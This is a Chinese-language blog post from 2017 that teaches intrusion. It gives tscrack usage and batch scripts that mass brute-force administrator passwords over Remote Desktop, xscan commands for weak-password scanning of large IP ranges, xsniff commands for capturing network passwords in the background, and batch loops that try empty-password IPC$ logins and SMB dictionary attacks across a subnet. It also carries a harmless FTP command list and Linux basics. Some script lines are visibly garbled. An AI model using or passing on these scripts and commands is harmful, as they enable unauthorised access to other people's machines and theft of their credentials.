你知道黑客是怎麼入侵的嗎,學會了這些你也可以入侵你的計算機了

黑客 腳本語言 HTML SQL 愛刷機 愛刷機 2017-08-26

上篇我們講到一些常用的DOS命令和遠端主機連接,那麼今天我們再來講講怎麼破解終端服務

終端服務密碼破解 tscrack:

參數說明

-h 顯示使用幫助

-v 顯示版本信息

-s 在屏幕上打出解密能力

-b 密碼錯誤時發出的聲音

-t 同是發出多個連接(多線程)

-NPrevent System Log entries on targeted server

-U 卸載移除tscrack組件

-f 使用-f後面的密碼

-F 間隔時間(頻率)

-l 使用-l後面的用戶名

-w 使用-w後面的密碼字典

-p使用-p後面的密碼

-D 登錄主頁面

用法示例

tscrack 192.168.0.1 -l administrator -w pass.dic 遠程用密碼字典文件暴破主機的administrator的登陸密碼

tscrack 192.168.0.1 -l administrator-p 123456 用密碼123456遠程登陸192.168.0.1的administrator用戶

@if not exist ipcscan.txt goto noscan

@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i

nscan

@echo 3389.txtno find or scan faild

(①存為3389.bat) (假設現有用SuperScan或其它掃錨器掃到一批開有3389的主機IP列表文件3389.txt)

3389.bat意思是:從3389.txt文件中取一個IP,接著運行hack.bat

@ifnot exist tscrack.exe goto noscan

@tscrack %1 -l administrator -w pass.dic >>rouji.txt

:noscan

@echo tscrack.exe no find or scan faild

(②存為hack.bat) (運行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個目錄下;就可以等待結果了)

hack.bat意思是:運行tscrack.exe用字典暴破3389.txt中所有主機的administrator密碼,並將破解結果保存在rouji.txt文件中。

掃描工具:xscan

基本格式

xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項]掃錨"起始IP到終止IP"段的所有主機信息

xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息

檢測項目

-active檢測主機是否存活

-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)

-port 檢測常用服務的端口狀態

-ftp 檢測FTP弱口令

-pub 檢測FTP服務匿名用戶寫權限

-pop3檢測POP3-Server弱口令

-smtp 檢測SMTP-Server漏洞

-sql 檢測SQL-Server弱口令

-smb 檢測NT-Server弱口令

-iis 檢測IIS編碼/解碼漏洞

-cgi 檢測CGI漏洞

-nasl 加載Nessus攻擊腳本

-all檢測以上所有項目

其它選項

-i 適配器編號 設置網絡適配器, <適配器編號>可通過"-l"參數獲取

-l 顯示所有網絡適配器

-v 顯示詳細掃描進度

-p跳過沒有響應的主機

-o 跳過沒有檢測到開放端口的主機

-t 併發線程數量,併發主機數量 指定最大併發線程數量和併發主機數量, 默認數量為100,10

-log 文件名 指定掃描報告文件名(後綴為:TXT或HTML格式的文件)

用法示例

xscan -host 192.168.1.1-192.168.255.255 -all -active -p  檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機

xscan-host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標準端口狀態,NT弱口令用戶,最大併發線程數量為150,跳過沒有檢測到開放端口的主機

xscan-file hostlist.txt -port -cgi -t 200,5 -v -o 檢測“hostlist.txt”文件中列出的所有主機的標準端口狀態,CGI漏洞,最大併發線程數量為200,同一時刻最多檢測5臺主機,顯示詳細檢測進度,跳過沒有檢測到開放端口的主機

FTP命令是Internet用戶使用最頻繁的命令之一,熟悉並靈活應用FTP的內部命令,可以大大方便使用者,並收到事半功倍之效。如果你想學習使用進行後臺FTP下載,那麼就必須學習FTP指令。

FTP的命令行格式為:

ftp -v -d -i -n -g [主機名] ,其中

-v 顯示遠程服務器的所有響應信息

-n 限制ftp的自動登錄,即不使用;.n etrc文件;

-d 使用調試方式;

-g 取消全局文件名。

FTP使用的內部命令如下(中括號表示可選項):

1.![cmd[args]]:在本地機中執行交互shell,exit回到ftp環境,如:!ls*.zip

2.$ macro-ame[args]:執行宏定義macro-name。

3.account[password]: 提供登錄遠程系統成功後訪問系統資源所需的補充口令。

4.appendlocal-file[remote-file]:將本地文件追加到遠程系統主機,若未指定遠程系統文件名,則使用本地文件名。

5.ascii:使用ascii類型傳輸方式。

6.bell:每個命令執行完畢後計算機響鈴一次。

7.bin:使用二進制文件傳輸方式。

8.bye:退出ftp會話過程。

9.case:在使用mget時,將遠程主機文件名中的大寫轉為小寫字母。

10.cd remote-dir:進入遠程主機目錄。

11.cdup:進入遠程主機目錄的父目錄。

12.chmod mode file-name:將遠程主機文件file-name的存取方式設置為mode,如:chmod777 a.out。

13.close:中斷與遠程服務器的ftp會話(與open對應)。

14.cr:使用asscii方式傳輸文件時,將回車換行轉換為回行。

15.delete remote-file:刪除遠程主機文件。

16.debug[debug-value]:設置調試方式, 顯示發送至遠程主機的每條命令,如:debup 3,若設為0,表示取消debug。

17.dir[remote-dir][local-file]:顯示遠程主機目錄,並將結果存入本地文件。

18.disconNECtion:同close。

19.form format:將文件傳輸方式設置為format,缺省為file方式。

20.get remote-file[local-file]:將遠程主機的文件remote-file傳至本地硬盤的local-file。

21.glob:設置mdelete,mget,mput的文件名擴展,缺省時不擴展文件名,同命令行的-g參數。

22.hash:每傳輸1024字節,顯示一個hash符號(#)。

23.help[cmd]:顯示ftp內部命令cmd的幫助信息,如:help get。

24.idle[seconds]:將遠程服務器的休眠計時器設為[seconds]秒。

25.image:設置二進制傳輸方式(同binary)。

26.lcd[dir]:將本地工作目錄切換至dir。

27.ls[remote-dir][local-file]:顯示遠程目錄remote-dir, 並存入本地文件local-file。

28.macdefmacro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。

29.mdelete[remote-file]:刪除遠程主機文件。

30.mdir remote-files local-file:與dir類似,但可指定多個遠程文件,如:mdir *.o.*.zipoutfile 。

31.mget remote-files:傳輸多個遠程文件。

32.mkdir dir-name:在遠程主機中建一目錄。

33.mls remote-file local-file:同nlist,但可指定多個文件名。

34.mode[modename]:將文件傳輸方式設置為modename,缺省為stream方式。

35.modtime file-name:顯示遠程主機文件的最後修改時間。

36.mput local-file:將多個文件傳輸至遠程主機。

37.newer file-name: 如果遠程機中file-name的修改時間比本地硬盤同名文件的時間更近,則重傳該文件。

38.nlist[remote-dir][local-file]:顯示遠程主機目錄的文件清單,並存入本地硬盤的local-file。

39.nmap[inpattern outpattern]:設置文件名映射機制, 使得文件傳輸時,文件中的某些字符相互轉換,如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時,文件名變為a1,a2。 該命令特別適用於遠程主機為非UNIX機的情況。

40.ntrans[inchars[outchars]]:設置文件名字符的翻譯機制,如ntrans1R,則文件名LLL將變為RRR。

41.open host[port]:建立指定ftp服務器連接,可指定連接端口。

42.passive:進入被動傳輸方式。

43.prompt:設置多個文件傳輸時的交互提示。

44.proxy ftp-cmd:在次要控制連接中,執行一條ftp命令,該命令允許連接兩個ftp服務器,以在兩個服務器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個服務器間的連接。

45.put local-file[remote-file]:將本地文件local-file傳送至遠程主機。

46.pwd:顯示遠程主機的當前工作目錄。

47.quit:同bye,退出ftp會話。

48.quote arg1,arg2...:將參數逐字發至遠程ftp服務器,如:quotesyst.

49.recv remote-file[local-file]:同get。

50.reget remote-file[local-file]:類似於get, 但若local-file存在,則從上次傳輸中斷處續傳。

51.rhelp[cmd-name]:請求獲得遠程主機的幫助。

52.rstatus[file-name]:若未指定文件名,則顯示遠程主機的狀態,否則顯示文件狀態。

53.rename[from][to]:更改遠程主機文件名。

54.reset:清除回答隊列。

55.restart marker:從指定的標誌marker處,重新開始get或put,如:restart 130。

56.rmdir dir-name:刪除遠程主機目錄。

57.runique:設置文件名只一性存儲,若文件存在,則在原文件後加後綴.1, .2等。

58.sendlocal-file[remote-file]:同put。

59.sendport:設置PORT命令的使用。

60.site arg1,arg2...:將參數作為SITE命令逐字發送至遠程ftp主機。

61.size file-name:顯示遠程主機文件大小,如:site idle 7200。

62.status:顯示當前ftp狀態。

63.struct[struct-name]:將文件傳輸結構設置為struct-name, 缺省時使用stream結構。

64.sunique:將遠程主機文件名存儲設置為只一(與runique對應)。

65.system:顯示遠程主機的操作系統類型。

66.tenex:將文件傳輸類型設置為TENEX機的所需的類型。

67.tick:設置傳輸時的字節計數器。

68.trace:設置包跟蹤。

69.type[type-name]:設置文件傳輸類型為type-name,缺省為ascii,如:type binary,設置二進制傳輸方式。

70.umask[newmask]:將遠程服務器的缺省umask設置為newmask,如:umask3

71.user user-name[password][account]:向遠程主機表明自己的身份,需要口令時,必須輸入口令,如:useranonymous my@email。

72.verbose:同命令行的-v參數,即設置詳盡報告方式,ftp 服務器的所有響 應都將顯示給用戶,缺省為on.

73.[cmd]:同help.

---------------------------------------------------------------------------

命令行方式嗅探器xsniff

可捕獲局域網內FTP/SMTP/POP3/HTTP協議密碼

參數說明

-tcp輸出TCP數據報

-udp 輸出UDP數據報

-icmp 輸出ICMP數據報

-pass 過濾密碼信息

-hide 後臺運行

-host 解析主機名

-addr IP地址 過濾IP地址

-port 端口 過濾端口

-log文件名 將輸出保存到文件

-asc 以ASCII形式輸出

-hex 以16進制形式輸出

用法示例

xsniff.exe -pass -hide -log pass.log 後臺運行嗅探密碼並將密碼信息保存在pass.log文件中

xsniff.exe-tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出

批處理命令與變量

1:for命令及變量 基本格式:

FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i,而指定一個變量則用:%%i ,而調用變量時用:%i% ,變量是區分大小寫的(%i 不等於 %I)。

批處理每次能處理的變量從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:netuse ipipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;“(1-1 254)”說明:即從254到1 }

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:&來隔開

command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{(set)為文件時,如(d:pass.txt)時 }。

用法舉例:

@echo off

echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use %1.%%G /user:administrator | find "命令成功完成">>test.txt

存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變量(ip的最後一位);&用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。

@echooff

echo 用法格式:ok.bat ip

FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200

存為:ok.exe 說明:輸入一個IP後,用字典文件d:pass.dic來暴解d:user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

2:if命令及變量基本格式:

IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為“真”。

例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IFnot errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。

0 指發現併成功執行(真);1 指沒有發現、沒執行(假)。

IF [not] 字符串1==字符串2 命令語句如果指定的文本字符串匹配(即:字符串1 等於 字符串2),就執行後面的命令。

例:“if "%2%"=="4" goto start”指:如果輸入的第二個變量為4時,執行後面的命令(注意:調用變量時就%變量名%並加"")

IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。

例:“if not nc.exe goto end”指:如果沒有發現nc.exe文件就跳到":end"標籤處。

IF[not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字符串1==字符串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:“if existtest.txt. else echo test.txt.missing ”,注意命令中的“.”

Lnux系統下基本命令,注意要區分大小寫

uname 顯示版本信息(同win2K的 ver)

dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)

pwd 查詢當前所在的目錄位置

cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。

cat 文件名 查看文件內容

cat >abc.txt 往abc.txt文件中寫上內容。

more 文件名 以一頁一頁的方式顯示一個文本文件。

cp 複製文件

mv 移動文件

rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄

mkdir 目錄名 建立目錄

rmdir 刪除子目錄,目錄內沒有文檔。

chmod 設定檔案或目錄的存取權限

grep 在檔案中查找字符串

diff 檔案文件比較

find 檔案搜尋

date 現在的日期、時間

who 查詢目前和你使用同一臺機器的人以及Login時間地點

w 查詢目前上機者的詳細資料

whoami 查看自己的帳號名稱

groups 查看某人的Group

passwd 更改密碼

history 查看自己下過的命令

ps 顯示進程狀態

kill 停止某進程

gcc 黑客通常用它來編譯C語言寫的文件

su 權限轉換為指定使用者

telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。

ftp ftp連接上某服務器(同win2K)

以上就是小編整理的dos命令大全,希望對學習dos命令的同學有所參考,命令比較多,如果您覺得本文不錯,請分享給您朋友或收藏本文,以便下次訪問!

相關推薦

推薦中...